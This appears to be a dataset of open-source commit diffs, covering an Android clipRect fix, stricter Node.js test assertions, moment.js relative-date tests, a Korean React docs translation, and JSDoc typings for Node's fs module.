<del> canvas.clipRect(mClipLeft, mClipTop, mClipRight, mClipBottom);
<add> // We put this check here to not clip when we have the default [-infinity, infinity] bounds,
<add> // since clipRect in those cases is essentially no-op anyway. This is needed to fix a bug that
<add> // shows up during screenshot testing. Note that checking one side is enough, since if one side
<add> // is infinite, all sides will be infinite, since we only set infinite for all sides at the
<add> // same time - conversely, if one side is finite, all sides will be finite.
<add> if (mClipLeft != Float.NEGATIVE_INFINITY) {
<add> canvas.clipRect(mClipLeft, mClipTop, mClipRight, mClipBottom);
<add> }
<ide> }
<ide> } | 1 |
Javascript | Javascript | favor strict equality in test-exec | 9604d2965986c4c11b876304443889c27c4386b9 | <ide><path>test/pummel/test-exec.js
<ide> exec(
<ide> console.log('error!: ' + err.code);
<ide> console.log('stdout: ' + JSON.stringify(stdout));
<ide> console.log('stderr: ' + JSON.stringify(stderr));
<del> assert.equal(false, err.killed);
<add> assert.strictEqual(false, err.killed);
<ide> } else {
<ide> success_count++;
<ide> console.dir(stdout);
<ide> exec(
<ide> exec('thisisnotavalidcommand', function(err, stdout, stderr) {
<ide> if (err) {
<ide> error_count++;
<del> assert.equal('', stdout);
<del> assert.equal(true, err.code != 0);
<del> assert.equal(false, err.killed);
<add> assert.strictEqual('', stdout);
<add> assert.strictEqual(typeof err.code, 'number');
<add> assert.notStrictEqual(err.code, 0);
<add> assert.strictEqual(false, err.killed);
<ide> assert.strictEqual(null, err.signal);
<ide> console.log('error code: ' + err.code);
<ide> console.log('stdout: ' + JSON.stringify(stdout));
<ide> console.log('stderr: ' + JSON.stringify(stderr));
<ide> } else {
<ide> success_count++;
<ide> console.dir(stdout);
<del> assert.equal(true, stdout != '');
<add> assert.strictEqual(typeof stdout, 'string');
<add> assert.notStrictEqual(stdout, '');
<ide> }
<ide> });
<ide>
<ide> exec(SLEEP3_COMMAND, { timeout: 50 }, function(err, stdout, stderr) {
<ide> assert.ok(diff < 500);
<ide> assert.ok(err);
<ide> assert.ok(err.killed);
<del> assert.equal(err.signal, 'SIGTERM');
<add> assert.strictEqual(err.signal, 'SIGTERM');
<ide> });
<ide>
<ide>
<ide> process.nextTick(function() {
<ide> console.log('kill pid %d', killMeTwice.pid);
<ide> // make sure there is no race condition in starting the process
<ide> // the PID SHOULD exist directly following the exec() call.
<del> assert.equal('number', typeof killMeTwice._handle.pid);
<add> assert.strictEqual('number', typeof killMeTwice._handle.pid);
<ide> // Kill the process
<ide> killMeTwice.kill();
<ide> });
<ide> function killMeTwiceCallback(err, stdout, stderr) {
<ide> // works and that we are getting the proper callback parameters.
<ide> assert.ok(err);
<ide> assert.ok(err.killed);
<del> assert.equal(err.signal, 'SIGTERM');
<add> assert.strictEqual(err.signal, 'SIGTERM');
<ide>
<ide> // the timeout should still be in effect
<ide> console.log('\'sleep 3\' was already killed. Took %d ms', diff);
<ide> exec('python -c "print 200000*\'C\'"', {maxBuffer: 1000},
<ide>
<ide>
<ide> process.on('exit', function() {
<del> assert.equal(1, success_count);
<del> assert.equal(1, error_count);
<add> assert.strictEqual(1, success_count);
<add> assert.strictEqual(1, error_count);
<ide> }); | 1 |
Javascript | Javascript | add tests for relativedates | 5a4bbb8d7593e926749515678644ebbaba7c3b4e | <ide><path>lang/test/en.js
<ide> test("fromNow", 2, function() {
<ide> equal(moment().add({d:5}).fromNow(), "in 5 days", "in 5 days");
<ide> });
<ide>
<add>test("xxx", 14, function() {
<add> var getTodayAtTwo, prefixDay;
<add>
<add> getTodayAtTwo = function () {
<add> return moment().hours(2).minutes(0).seconds(0);
<add> };
<add>
<add> prefixDay = function (moment, string, nextOrLast) {
<add> if(typeof nextOrLast == "undefined") {
<add> nextOrLast = '';
<add> } else {
<add> switch(nextOrLast) {
<add> case 'next':
<add> nextOrLast = "next ";
<add> break;
<add> case 'last':
<add> nextOrLast = "last ";
<add> break;
<add> default:
<add> nextOrLast = '';
<add> }
<add> }
<add>
<add> return nextOrLast + moment.format('ddd') + string;
<add> };
<add>
<add> moment.lang('en');
<add> equal(getTodayAtTwo().xxx(), "Today at 02:00", "today at the same time");
<add> equal(getTodayAtTwo().add({ m: 25 }).xxx(), "Today at 02:25", "Now plus 25 min");
<add> equal(getTodayAtTwo().add({ h: 1 }).xxx(), "Today at 03:00", "Now plus 1 hour");
<add> equal(getTodayAtTwo().add({ d: 1 }).xxx(), "Tomorrow at 02:00", "tomorrow at the same time");
<add> equal(getTodayAtTwo().subtract({ h: 1 }).xxx(), "Today at 01:00", "Now minus 1 hour");
<add> equal(getTodayAtTwo().subtract({ d: 1 }).xxx(), "Yesterday at 02:00", "yesterday at the same time");
<add>
<add> var nextTomorrow = getTodayAtTwo().add({ d: 2 });
<add> equal(nextTomorrow.xxx(), prefixDay(nextTomorrow, " at 02:00"), "now - 2days at the same time");
<add>
<add> var previousYesterday = getTodayAtTwo().subtract({ d: 2 });
<add> equal(previousYesterday.xxx(), prefixDay(previousYesterday, " at 02:00"), "now - 2days yesterday at the same time");
<add>
<add> // Next / Last week
<add> equal(getTodayAtTwo().add({ w: 1 }).xxx(), prefixDay(getTodayAtTwo().add({ w: 1 }), "", "next"), "next week at the same time");
<add> equal(getTodayAtTwo().add({ w: 1, d: 1 }).xxx(), prefixDay(getTodayAtTwo().add({ w: 1, d: 1 }), "", "next"), "next week at the same time");
<add> equal(getTodayAtTwo().subtract({ w: 1 }).xxx(), prefixDay(getTodayAtTwo().add({ w: 1 }), "", "last"), "next week at the same time");
<add> equal(getTodayAtTwo().subtract({ w: 1, d: 1 }).xxx(), prefixDay(getTodayAtTwo().add({ w: 1, d: 1 }), "", "last"), "next week at the same time");
<add>
<add>
<add> // More than 2 weeks
<add> equal(getTodayAtTwo().add({ w: 2 }).xxx(), getTodayAtTwo().add({ w: 2 }).format('L'), "in 2 weeks at the same time");
<add> equal(getTodayAtTwo().subtract({ w: 2 }).xxx(), getTodayAtTwo().subtract({ w: 2 }).format('L'), "before 2 weeks at the same time");
<add>
<add>}) | 1 |
Text | Text | translate tip-18 to korean | 45a3332a382b3a63b44459656479ac5383d9742f | <ide><path>docs/docs/ref-03-component-specs.ko-KR.md
<ide> string displayName
<ide> `displayName` 문자열은 디버그 메시지에 사용됩니다. JSX는 이 값을 자동으로 설정합니다. [JSX 깊이 알기](/react/docs/jsx-in-depth-ko-KR.html#the-transform)를 참고하세요.
<ide>
<ide>
<add><a name="lifecycle-methods"></a>
<ide> ## 생명주기 메소드
<ide>
<ide> 컴포넌트의 생명주기에서 특정 시점마다 실행되는 메소드들입니다.
<ide><path>docs/tips/18-use-react-with-other-libraries.ko-KR.md
<add>---
<add>id: use-react-with-other-libraries-ko-KR
<add>title: React와 다른 라이브러리를 함께 사용하기
<add>layout: tips
<add>permalink: use-react-with-other-libraries-ko-KR.html
<add>prev: children-undefined-ko-KR.html
<add>next: dangerously-set-inner-html-ko-KR.html
<add>---
<add>
<add>React만으로 만들 필요는 없습니다. 컴포넌트의 [생명주기 이벤트](/react/docs/component-specs-ko-KR.html#lifecycle-methods), 특히 `componentDidMount`와 `componentDidUpdate`는 다른 라이브러리들의 로직을 넣기에 좋은 장소입니다.
<add>
<add>```js
<add>var App = React.createClass({
<add> getInitialState: function() {
<add> return {myModel: new myBackboneModel({items: [1, 2, 3]})};
<add> },
<add>
<add> componentDidMount: function() {
<add> $(this.refs.placeholder.getDOMNode()).append($('<span />'));
<add> },
<add>
<add> componentWillUnmount: function() {
<add> // 정리는 여기서 합니다
<add> },
<add>
<add> shouldComponentUpdate: function() {
<add> // 이 컴포넌트를 다시는 업데이트하지 않도록 하죠.
<add> return false;
<add> },
<add>
<add> render: function() {
<add> return <div ref="placeholder"/>;
<add> }
<add>});
<add>
<add>React.render(<App />, mountNode);
<add>```
<add>
<add>이 방식으로 별도의 [이벤트 리스너](/react/tips/dom-event-listeners-ko-KR.html)나 [이벤트 스트림](https://baconjs.github.io) 같은 것들을 더할 수 있습니다. | 2 |
Javascript | Javascript | add jsdoc typings for fs | 32404359b69f34d1c587e94eb6ceca8414d97f6d | <ide><path>lib/fs.js
<ide> function isFileType(stats, fileType) {
<ide> return (mode & S_IFMT) === fileType;
<ide> }
<ide>
<add>/**
<add> * Tests a user's permissions for the file or directory
<add> * specified by `path`.
<add> * @param {string | Buffer | URL} path
<add> * @param {number} [mode]
<add> * @param {(err?: Error) => any} callback
<add> * @returns {void}
<add> */
<ide> function access(path, mode, callback) {
<ide> if (typeof mode === 'function') {
<ide> callback = mode;
<ide> function access(path, mode, callback) {
<ide> binding.access(pathModule.toNamespacedPath(path), mode, req);
<ide> }
<ide>
<add>/**
<add> * Synchronously tests a user's permissions for the file or
<add> * directory specified by `path`.
<add> * @param {string | Buffer | URL} path
<add> * @param {number} [mode]
<add> * @returns {void | never}
<add> */
<ide> function accessSync(path, mode) {
<ide> path = getValidatedPath(path);
<ide> mode = getValidMode(mode, 'access');
<ide> function accessSync(path, mode) {
<ide> handleErrorFromBinding(ctx);
<ide> }
<ide>
<add>/**
<add> * Tests whether or not the given path exists.
<add> * @param {string | Buffer | URL} path
<add> * @param {(exists?: boolean) => any} callback
<add> * @returns {void}
<add> */
<ide> function exists(path, callback) {
<ide> maybeCallback(callback);
<ide>
<ide> ObjectDefineProperty(exists, internalUtil.promisify.custom, {
<ide> // fs.existsSync(), would only get a false in return, so we cannot signal
<ide> // validation errors to users properly out of compatibility concerns.
<ide> // TODO(joyeecheung): deprecate the never-throw-on-invalid-arguments behavior
<add>/**
<add> * Synchronously tests whether or not the given path exists.
<add> * @param {string | Buffer | URL} path
<add> * @returns {boolean}
<add> */
<ide> function existsSync(path) {
<ide> try {
<ide> path = getValidatedPath(path);
<ide> function checkAborted(signal, callback) {
<ide> return false;
<ide> }
<ide>
<add>/**
<add> * Asynchronously reads the entire contents of a file.
<add> * @param {string | Buffer | URL | number} path
<add> * @param {{
<add> * encoding?: string | null;
<add> * flag?: string;
<add> * signal?: AbortSignal;
<add> * } | string} [options]
<add> * @param {(
<add> * err?: Error,
<add> * data?: string | Buffer
<add> * ) => any} callback
<add> * @returns {void}
<add> */
<ide> function readFile(path, options, callback) {
<ide> callback = maybeCallback(callback || options);
<ide> options = getOptions(options, { flag: 'r' });
<ide> function tryReadSync(fd, isUserFd, buffer, pos, len) {
<ide> return bytesRead;
<ide> }
<ide>
<add>/**
<add> * Synchronously reads the entire contents of a file.
<add> * @param {string | Buffer | URL | number} path
<add> * @param {{
<add> * encoding?: string | null;
<add> * flag?: string;
<add> * }} [options]
<add> * @returns {string | Buffer}
<add> */
<ide> function readFileSync(path, options) {
<ide> options = getOptions(options, { flag: 'r' });
<ide> const isUserFd = isFd(path); // File descriptor ownership
<ide> function defaultCloseCallback(err) {
<ide> if (err != null) throw err;
<ide> }
<ide>
<add>/**
<add> * Closes the file descriptor.
<add> * @param {number} fd
<add> * @param {(err?: Error) => any} [callback]
<add> * @returns {void}
<add> */
<ide> function close(fd, callback = defaultCloseCallback) {
<ide> fd = getValidatedFd(fd);
<ide> if (callback !== defaultCloseCallback)
<ide> function close(fd, callback = defaultCloseCallback) {
<ide> binding.close(fd, req);
<ide> }
<ide>
<add>/**
<add> * Synchronously closes the file descriptor.
<add> * @param {number} fd
<add> * @returns {void}
<add> */
<ide> function closeSync(fd) {
<ide> fd = getValidatedFd(fd);
<ide>
<ide> function closeSync(fd) {
<ide> handleErrorFromBinding(ctx);
<ide> }
<ide>
<add>/**
<add> * Asynchronously opens a file.
<add> * @param {string | Buffer | URL} path
<add> * @param {string | number} [flags]
<add> * @param {string | number} [mode]
<add> * @param {(
<add> * err?: Error,
<add> * fd?: number
<add> * ) => any} callback
<add> * @returns {void}
<add> */
<ide> function open(path, flags, mode, callback) {
<ide> path = getValidatedPath(path);
<ide> if (arguments.length < 3) {
<ide> function open(path, flags, mode, callback) {
<ide> req);
<ide> }
<ide>
<del>
<add>/**
<add> * Synchronously opens a file.
<add> * @param {string | Buffer | URL} path
<add> * @param {string | number} [flags]
<add> * @param {string | number} [mode]
<add> * @returns {number}
<add> */
<ide> function openSync(path, flags, mode) {
<ide> path = getValidatedPath(path);
<ide> const flagsNumber = stringToFlags(flags);
<ide> function openSync(path, flags, mode) {
<ide> return result;
<ide> }
<ide>
<del>// usage:
<del>// fs.read(fd, buffer, offset, length, position, callback);
<del>// OR
<del>// fs.read(fd, {}, callback)
<add>/**
<add> * Reads file from the specified `fd` (file descriptor).
<add> * @param {number} fd
<add> * @param {Buffer | TypedArray | DataView} buffer
<add> * @param {number} offset
<add> * @param {number} length
<add> * @param {number | bigint} position
<add> * @param {(
<add> * err?: Error,
<add> * bytesRead?: number,
<add> * buffer?: Buffer
<add> * ) => any} callback
<add> * @returns {void}
<add> */
<ide> function read(fd, buffer, offset, length, position, callback) {
<ide> fd = getValidatedFd(fd);
<ide>
<ide> function read(fd, buffer, offset, length, position, callback) {
<ide> ObjectDefineProperty(read, internalUtil.customPromisifyArgs,
<ide> { value: ['bytesRead', 'buffer'], enumerable: false });
<ide>
<del>// usage:
<del>// fs.readSync(fd, buffer, offset, length, position);
<del>// OR
<del>// fs.readSync(fd, buffer, {}) or fs.readSync(fd, buffer)
<add>/**
<add> * Synchronously reads the file from the
<add> * specified `fd` (file descriptor).
<add> * @param {number} fd
<add> * @param {Buffer | TypedArray | DataView} buffer
<add> * @param {{
<add> * offset?: number;
<add> * length?: number;
<add> * position?: number | bigint;
<add> * }} [offset]
<add> * @returns {number}
<add> */
<ide> function readSync(fd, buffer, offset, length, position) {
<ide> fd = getValidatedFd(fd);
<ide>
<ide> function readSync(fd, buffer, offset, length, position) {
<ide> return result;
<ide> }
<ide>
<add>/**
<add> * Reads file from the specified `fd` (file descriptor)
<add> * and writes to an array of `ArrayBufferView`s.
<add> * @param {number} fd
<add> * @param {ArrayBufferView[]} buffers
<add> * @param {number} [position]
<add> * @param {(
<add> * err?: Error,
<add> * bytesRead?: number,
<add> * buffers?: ArrayBufferView[];
<add> * ) => any} callback
<add> * @returns {void}
<add> */
<ide> function readv(fd, buffers, position, callback) {
<ide> function wrapper(err, read) {
<ide> callback(err, read || 0, buffers);
<ide> function readv(fd, buffers, position, callback) {
<ide> ObjectDefineProperty(readv, internalUtil.customPromisifyArgs,
<ide> { value: ['bytesRead', 'buffers'], enumerable: false });
<ide>
<add>/**
<add> * Synchronously reads file from the
<add> * specified `fd` (file descriptor) and writes to an array
<add> * of `ArrayBufferView`s.
<add> * @param {number} fd
<add> * @param {ArrayBufferView[]} buffers
<add> * @param {number} [position]
<add> * @returns {number}
<add> */
<ide> function readvSync(fd, buffers, position) {
<ide> fd = getValidatedFd(fd);
<ide> validateBufferArray(buffers);
<ide> function readvSync(fd, buffers, position) {
<ide> return result;
<ide> }
<ide>
<del>// usage:
<del>// fs.write(fd, buffer[, offset[, length[, position]]], callback);
<del>// OR
<del>// fs.write(fd, string[, position[, encoding]], callback);
<add>/**
<add> * Writes `buffer` to the specified `fd` (file descriptor).
<add> * @param {number} fd
<add> * @param {Buffer | TypedArray | DataView | string | Object} buffer
<add> * @param {number} [offset]
<add> * @param {number} [length]
<add> * @param {number} [position]
<add> * @param {(
<add> * err?: Error,
<add> * bytesWritten?: number;
<add> * buffer?: Buffer | TypedArray | DataView
<add> * ) => any} callback
<add> * @returns {void}
<add> */
<ide> function write(fd, buffer, offset, length, position, callback) {
<ide> function wrapper(err, written) {
<ide> // Retain a reference to buffer so that it can't be GC'ed too soon.
<ide> function write(fd, buffer, offset, length, position, callback) {
<ide> ObjectDefineProperty(write, internalUtil.customPromisifyArgs,
<ide> { value: ['bytesWritten', 'buffer'], enumerable: false });
<ide>
<del>// Usage:
<del>// fs.writeSync(fd, buffer[, offset[, length[, position]]]);
<del>// OR
<del>// fs.writeSync(fd, string[, position[, encoding]]);
<add>/**
<add> * Synchronously writes `buffer` to the
<add> * specified `fd` (file descriptor).
<add> * @param {number} fd
<add> * @param {Buffer | TypedArray | DataView | string | Object} buffer
<add> * @param {number} [offset]
<add> * @param {number} [length]
<add> * @param {number} [position]
<add> * @returns {number}
<add> */
<ide> function writeSync(fd, buffer, offset, length, position) {
<ide> fd = getValidatedFd(fd);
<ide> const ctx = {};
<ide> function writeSync(fd, buffer, offset, length, position) {
<ide> return result;
<ide> }
<ide>
<del>// usage:
<del>// fs.writev(fd, buffers[, position], callback);
<add>/**
<add> * Writes an array of `ArrayBufferView`s to the
<add> * specified `fd` (file descriptor).
<add> * @param {number} fd
<add> * @param {ArrayBufferView[]} buffers
<add> * @param {number} [position]
<add> * @param {(
<add> * err?: Error,
<add> * bytesWritten?: number,
<add> * buffers?: ArrayBufferView[]
<add> * ) => any} callback
<add> * @returns {void}
<add> */
<ide> function writev(fd, buffers, position, callback) {
<ide> function wrapper(err, written) {
<ide> callback(err, written || 0, buffers);
<ide> ObjectDefineProperty(writev, internalUtil.customPromisifyArgs, {
<ide> enumerable: false
<ide> });
<ide>
<add>/**
<add> * Synchronously writes an array of `ArrayBufferView`s
<add> * to the specified `fd` (file descriptor).
<add> * @param {number} fd
<add> * @param {ArrayBufferView[]} buffers
<add> * @param {number} [position]
<add> * @returns {number}
<add> */
<ide> function writevSync(fd, buffers, position) {
<ide> fd = getValidatedFd(fd);
<ide> validateBufferArray(buffers);
<ide> function writevSync(fd, buffers, position) {
<ide> return result;
<ide> }
<ide>
<add>/**
<add> * Asynchronously renames file at `oldPath` to
<add> * the pathname provided as `newPath`.
<add> * @param {string | Buffer | URL} oldPath
<add> * @param {string | Buffer | URL} newPath
<add> * @param {(err?: Error) => any} callback
<add> * @returns {void}
<add> */
<ide> function rename(oldPath, newPath, callback) {
<ide> callback = makeCallback(callback);
<ide> oldPath = getValidatedPath(oldPath, 'oldPath');
<ide> function rename(oldPath, newPath, callback) {
<ide> req);
<ide> }
<ide>
<add>
<add>/**
<add> * Synchronously renames file at `oldPath` to
<add> * the pathname provided as `newPath`.
<add> * @param {string | Buffer | URL} oldPath
<add> * @param {string | Buffer | URL} newPath
<add> * @returns {void}
<add> */
<ide> function renameSync(oldPath, newPath) {
<ide> oldPath = getValidatedPath(oldPath, 'oldPath');
<ide> newPath = getValidatedPath(newPath, 'newPath');
<ide> function renameSync(oldPath, newPath) {
<ide> handleErrorFromBinding(ctx);
<ide> }
<ide>
<add>/**
<add> * Truncates the file.
<add> * @param {string | Buffer | URL} path
<add> * @param {number} [len]
<add> * @param {(err?: Error) => any} callback
<add> * @returns {void}
<add> */
<ide> function truncate(path, len, callback) {
<ide> if (typeof path === 'number') {
<ide> showTruncateDeprecation();
<ide> function truncate(path, len, callback) {
<ide> });
<ide> }
<ide>
<add>/**
<add> * Synchronously truncates the file.
<add> * @param {string | Buffer | URL} path
<add> * @param {number} [len]
<add> * @returns {void}
<add> */
<ide> function truncateSync(path, len) {
<ide> if (typeof path === 'number') {
<ide> // legacy
<ide> function truncateSync(path, len) {
<ide> return ret;
<ide> }
<ide>
<add>/**
<add> * Truncates the file descriptor.
<add> * @param {number} fd
<add> * @param {number} [len]
<add> * @param {(err?: Error) => any} callback
<add> * @returns {void}
<add> */
<ide> function ftruncate(fd, len = 0, callback) {
<ide> if (typeof len === 'function') {
<ide> callback = len;
<ide> function ftruncate(fd, len = 0, callback) {
<ide> binding.ftruncate(fd, len, req);
<ide> }
<ide>
<add>/**
<add> * Synchronously truncates the file descriptor.
<add> * @param {number} fd
<add> * @param {number} [len]
<add> * @returns {void}
<add> */
<ide> function ftruncateSync(fd, len = 0) {
<ide> fd = getValidatedFd(fd);
<ide> validateInteger(len, 'len');
<ide> function lazyLoadRimraf() {
<ide> ({ rimraf, rimrafSync } = require('internal/fs/rimraf'));
<ide> }
<ide>
<add>/**
<add> * Asynchronously removes a directory.
<add> * @param {string | Buffer | URL} path
<add> * @param {{
<add> * maxRetries?: number;
<add> * recursive?: boolean;
<add> * retryDelay?: number;
<add> * }} [options]
<add> * @param {(err?: Error) => any} callback
<add> * @returns {void}
<add> */
<ide> function rmdir(path, options, callback) {
<ide> if (typeof options === 'function') {
<ide> callback = options;
<ide> function rmdir(path, options, callback) {
<ide> }
<ide> }
<ide>
<add>/**
<add> * Synchronously removes a directory.
<add> * @param {string | Buffer | URL} path
<add> * @param {{
<add> * maxRetries?: number;
<add> * recursive?: boolean;
<add> * retryDelay?: number;
<add> * }} [options]
<add> * @returns {void}
<add> */
<ide> function rmdirSync(path, options) {
<ide> path = getValidatedPath(path);
<ide>
<ide> function rmdirSync(path, options) {
<ide> return handleErrorFromBinding(ctx);
<ide> }
<ide>
<add>/**
<add> * Asynchronously removes files and
<add> * directories (modeled on the standard POSIX `rm` utility).
<add> * @param {string | Buffer | URL} path
<add> * @param {{
<add> * force?: boolean;
<add> * maxRetries?: number;
<add> * recursive?: boolean;
<add> * retryDelay?: number;
<add> * }} [options]
<add> * @param {(err?: Error) => any} callback
<add> * @returns {void}
<add> */
<ide> function rm(path, options, callback) {
<ide> if (typeof options === 'function') {
<ide> callback = options;
<ide> function rm(path, options, callback) {
<ide> });
<ide> }
<ide>
<add>/**
<add> * Synchronously removes files and
<add> * directories (modeled on the standard POSIX `rm` utility).
<add> * @param {string | Buffer | URL} path
<add> * @param {{
<add> * force?: boolean;
<add> * maxRetries?: number;
<add> * recursive?: boolean;
<add> * retryDelay?: number;
<add> * }} [options]
<add> * @returns {void}
<add> */
<ide> function rmSync(path, options) {
<ide> options = validateRmOptionsSync(path, options, false);
<ide>
<ide> lazyLoadRimraf();
<ide> return rimrafSync(pathModule.toNamespacedPath(path), options);
<ide> }
<ide>
<add>/**
<add> * Forces all currently queued I/O operations associated
<add> * with the file to the operating system's synchronized
<add> * I/O completion state.
<add> * @param {number} fd
<add> * @param {(err?: Error) => any} callback
<add> * @returns {void}
<add> */
<ide> function fdatasync(fd, callback) {
<ide> fd = getValidatedFd(fd);
<ide> const req = new FSReqCallback();
<ide> req.oncomplete = makeCallback(callback);
<ide> binding.fdatasync(fd, req);
<ide> }
<ide>
<add>/**
<add> * Synchronously forces all currently queued I/O operations
<add> * associated with the file to the operating
<add> * system's synchronized I/O completion state.
<add> * @param {number} fd
<add> * @returns {void}
<add> */
<ide> function fdatasyncSync(fd) {
<ide> fd = getValidatedFd(fd);
<ide> const ctx = {};
<ide> binding.fdatasync(fd, undefined, ctx);
<ide> handleErrorFromBinding(ctx);
<ide> }
<ide>
<add>/**
<add> * Requests for all data for the open file descriptor
<add> * to be flushed to the storage device.
<add> * @param {number} fd
<add> * @param {(err?: Error) => any} callback
<add> * @returns {void}
<add> */
<ide> function fsync(fd, callback) {
<ide> fd = getValidatedFd(fd);
<ide> const req = new FSReqCallback();
<ide> req.oncomplete = makeCallback(callback);
<ide> binding.fsync(fd, req);
<ide> }
<ide>
<add>/**
<add> * Synchronously requests for all data for the open
<add> * file descriptor to be flushed to the storage device.
<add> * @param {number} fd
<add> * @returns {void}
<add> */
<ide> function fsyncSync(fd) {
<ide> fd = getValidatedFd(fd);
<ide> const ctx = {};
<ide> binding.fsync(fd, undefined, ctx);
<ide> handleErrorFromBinding(ctx);
<ide> }
<ide>
<add>/**
<add> * Asynchronously creates a directory.
<add> * @param {string | Buffer | URL} path
<add> * @param {{
<add> * recursive?: boolean;
<add> * mode?: string | number;
<add> * } | number} [options]
<add> * @param {(err?: Error) => any} callback
<add> * @returns {void}
<add> */
<ide> function mkdir(path, options, callback) {
<ide> let mode = 0o777;
<ide> let recursive = false;
<ide> function mkdir(path, options, callback) {
<ide> parseFileMode(mode, 'mode'), recursive, req);
<ide> }
<ide>
<add>/**
<add> * Synchronously creates a directory.
<add> * @param {string | Buffer | URL} path
<add> * @param {{
<add> * recursive?: boolean;
<add> * mode?: string | number;
<add> * } | number} [options]
<add> * @returns {string | void}
<add> */
<ide> function mkdirSync(path, options) {
<ide> let mode = 0o777;
<ide> let recursive = false;
<ide> function mkdirSync(path, options) {
<ide> }
<ide> }
<ide>
<add>/**
<add> * Reads the contents of a directory.
<add> * @param {string | Buffer | URL} path
<add> * @param {string | {
<add> * encoding?: string;
<add> * withFileTypes?: boolean;
<add> * }} [options]
<add> * @param {(
<add> * err?: Error,
<add> * files?: string[] | Buffer[] | Direct[];
<add> * ) => any} callback
<add> * @returns {void}
<add> */
<ide> function readdir(path, options, callback) {
<ide> callback = makeCallback(typeof options === 'function' ? options : callback);
<ide> options = getOptions(options, {});
<ide> function readdir(path, options, callback) {
<ide> !!options.withFileTypes, req);
<ide> }
<ide>
<add>/**
<add> * Synchronously reads the contents of a directory.
<add> * @param {string | Buffer | URL} path
<add> * @param {string | {
<add> * encoding?: string;
<add> * withFileTypes?: boolean;
<add> * }} [options]
<add> * @returns {string | Buffer[] | Dirent[]}
<add> */
<ide> function readdirSync(path, options) {
<ide> options = getOptions(options, {});
<ide> path = getValidatedPath(path);
<ide> function readdirSync(path, options) {
<ide> return options.withFileTypes ? getDirents(path, result) : result;
<ide> }
<ide>
<add>/**
<add> * Invokes the callback with the `fs.Stats`
<add> * for the file descriptor.
<add> * @param {number} fd
<add> * @param {{ bigint?: boolean; }} [options]
<add> * @param {(
<add> * err?: Error,
<add> * stats?: Stats
<add> * ) => any} callback
<add> * @returns {void}
<add> */
<ide> function fstat(fd, options = { bigint: false }, callback) {
<ide> if (typeof options === 'function') {
<ide> callback = options;
<ide> function fstat(fd, options = { bigint: false }, callback) {
<ide> binding.fstat(fd, options.bigint, req);
<ide> }
<ide>
<add>/**
<add> * Retrieves the `fs.Stats` for the symbolic link
<add> * referred to by the `path`.
<add> * @param {string | Buffer | URL} path
<add> * @param {{ bigint?: boolean; }} [options]
<add> * @param {(
<add> * err?: Error,
<add> * stats?: Stats
<add> * ) => any} callback
<add> * @returns {void}
<add> */
<ide> function lstat(path, options = { bigint: false }, callback) {
<ide> if (typeof options === 'function') {
<ide> callback = options;
<ide> function lstat(path, options = { bigint: false }, callback) {
<ide> binding.lstat(pathModule.toNamespacedPath(path), options.bigint, req);
<ide> }
<ide>
<add>/**
<add> * Asynchronously gets the stats of a file.
<add> * @param {string | Buffer | URL} path
<add> * @param {{ bigint?: boolean; }} [options]
<add> * @param {(
<add> * err?: Error,
<add> * stats?: Stats
<add> * ) => any} callback
<add> * @returns {void}
<add> */
<ide> function stat(path, options = { bigint: false }, callback) {
<ide> if (typeof options === 'function') {
<ide> callback = options;
<ide> function hasNoEntryError(ctx) {
<ide> return false;
<ide> }
<ide>
<add>/**
<add> * Synchronously retrieves the `fs.Stats` for
<add> * the file descriptor.
<add> * @param {number} fd
<add> * @param {{
<add> * bigint?: boolean;
<add> * throwIfNoEntry?: boolean;
<add> * }} [options]
<add> * @returns {Stats}
<add> */
<ide> function fstatSync(fd, options = { bigint: false, throwIfNoEntry: true }) {
<ide> fd = getValidatedFd(fd);
<ide> const ctx = { fd };
<ide> function fstatSync(fd, options = { bigint: false, throwIfNoEntry: true }) {
<ide> return getStatsFromBinding(stats);
<ide> }
<ide>
<add>/**
<add> * Synchronously retrieves the `fs.Stats` for
<add> * the symbolic link referred to by the `path`.
<add> * @param {string | Buffer | URL} path
<add> * @param {{
<add> * bigint?: boolean;
<add> * throwIfNoEntry?: boolean;
<add> * }} [options]
<add> * @returns {Stats}
<add> */
<ide> function lstatSync(path, options = { bigint: false, throwIfNoEntry: true }) {
<ide> path = getValidatedPath(path);
<ide> const ctx = { path };
<ide> function lstatSync(path, options = { bigint: false, throwIfNoEntry: true }) {
<ide> return getStatsFromBinding(stats);
<ide> }
<ide>
<add>/**
<add> * Synchronously retrieves the `fs.Stats`
<add> * for the `path`.
<add> * @param {string | Buffer | URL} path
<add> * @param {{
<add> * bigint?: boolean;
<add> * throwIfNoEntry?: boolean;
<add> * }} [options]
<add> * @returns {Stats}
<add> */
<ide> function statSync(path, options = { bigint: false, throwIfNoEntry: true }) {
<ide> path = getValidatedPath(path);
<ide> const ctx = { path };
<ide> function statSync(path, options = { bigint: false, throwIfNoEntry: true }) {
<ide> return getStatsFromBinding(stats);
<ide> }
<ide>
<add>/**
<add> * Reads the contents of a symbolic link
<add> * referred to by `path`.
<add> * @param {string | Buffer | URL} path
<add> * @param {{ encoding?: string; } | string} [options]
<add> * @param {(
<add> * err?: Error,
<add> * linkString?: string | Buffer
<add> * ) => any} callback
<add> * @returns {void}
<add> */
<ide> function readlink(path, options, callback) {
<ide> callback = makeCallback(typeof options === 'function' ? options : callback);
<ide> options = getOptions(options, {});
<ide> function readlink(path, options, callback) {
<ide> binding.readlink(pathModule.toNamespacedPath(path), options.encoding, req);
<ide> }
<ide>
<add>/**
<add> * Synchronously reads the contents of a symbolic link
<add> * referred to by `path`.
<add> * @param {string | Buffer | URL} path
<add> * @param {{ encoding?: string; } | string} [options]
<add> * @returns {string | Buffer}
<add> */
<ide> function readlinkSync(path, options) {
<ide> options = getOptions(options, {});
<ide> path = getValidatedPath(path, 'oldPath');
<ide> function readlinkSync(path, options) {
<ide> return result;
<ide> }
<ide>
<add>/**
<add> * Creates the link called `path` pointing to `target`.
<add> * @param {string | Buffer | URL} target
<add> * @param {string | Buffer | URL} path
<add> * @param {string} [type_]
<add> * @param {(err?: Error) => any} callback_
<add> * @returns {void}
<add> */
<ide> function symlink(target, path, type_, callback_) {
<ide> const type = (typeof type_ === 'string' ? type_ : null);
<ide> const callback = makeCallback(arguments[arguments.length - 1]);
<ide> function symlink(target, path, type_, callback_) {
<ide> binding.symlink(destination, pathModule.toNamespacedPath(path), flags, req);
<ide> }
<ide>
<add>/**
<add> * Synchronously creates the link called `path`
<add> * pointing to `target`.
<add> * @param {string | Buffer | URL} target
<add> * @param {string | Buffer | URL} path
<add> * @param {string} [type]
<add> * @returns {void}
<add> */
<ide> function symlinkSync(target, path, type) {
<ide> type = (typeof type === 'string' ? type : null);
<ide> if (isWindows && type === null) {
<ide> function symlinkSync(target, path, type) {
